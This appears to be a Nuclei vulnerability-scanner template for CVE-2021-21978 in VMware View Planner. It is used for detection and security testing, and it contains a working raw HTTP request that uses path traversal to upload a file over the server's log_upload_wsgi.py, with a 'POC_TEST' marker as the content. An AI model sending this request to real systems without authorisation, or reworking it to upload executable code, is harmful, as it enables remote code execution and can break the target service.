59 lines
2.1 KiB
YAML
59 lines
2.1 KiB
YAML
id: CVE-2021-21978
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info:
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name: VMware View Planner <4.6 SP1- Remote Code Execution
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author: dwisiswant0
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severity: critical
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description: |
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VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability due to improper input validation and lack of authorization leading to arbitrary file upload in logupload web application.
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An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted
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file leading to remote code execution within the logupload container.
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reference:
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- https://twitter.com/osama_hroot/status/1367258907601698816
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21978
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- https://www.vmware.com/security/advisories/VMSA-2021-0003.html
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- http://packetstormsecurity.com/files/161879/VMware-View-Planner-4.6-Remote-Code-Execution.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-21978
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cwe-id: CWE-434
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cpe: cpe:2.3:a:vmware:view_planner:*:*:*:*:*:*:*:*
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epss-score: 0.97457
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tags: cve,cve2021,vmware,rce,packetstorm,fileupload,intrusive
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metadata:
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max-request: 1
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http:
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- raw:
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- |
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POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
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Accept: text/html
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Referer: {{BaseURL}}
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Connection: close
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------WebKitFormBoundarySHHbUsfCoxlX1bpS
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Content-Disposition: form-data; name="logfile"; filename=""
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Content-Type: text/plain
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POC_TEST
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------WebKitFormBoundarySHHbUsfCoxlX1bpS
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "File uploaded successfully."
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part: body
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- type: dsl
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dsl:
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- "len(body) == 28" # length of "\nFile uploaded successfully."
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- type: status
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status:
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- 200
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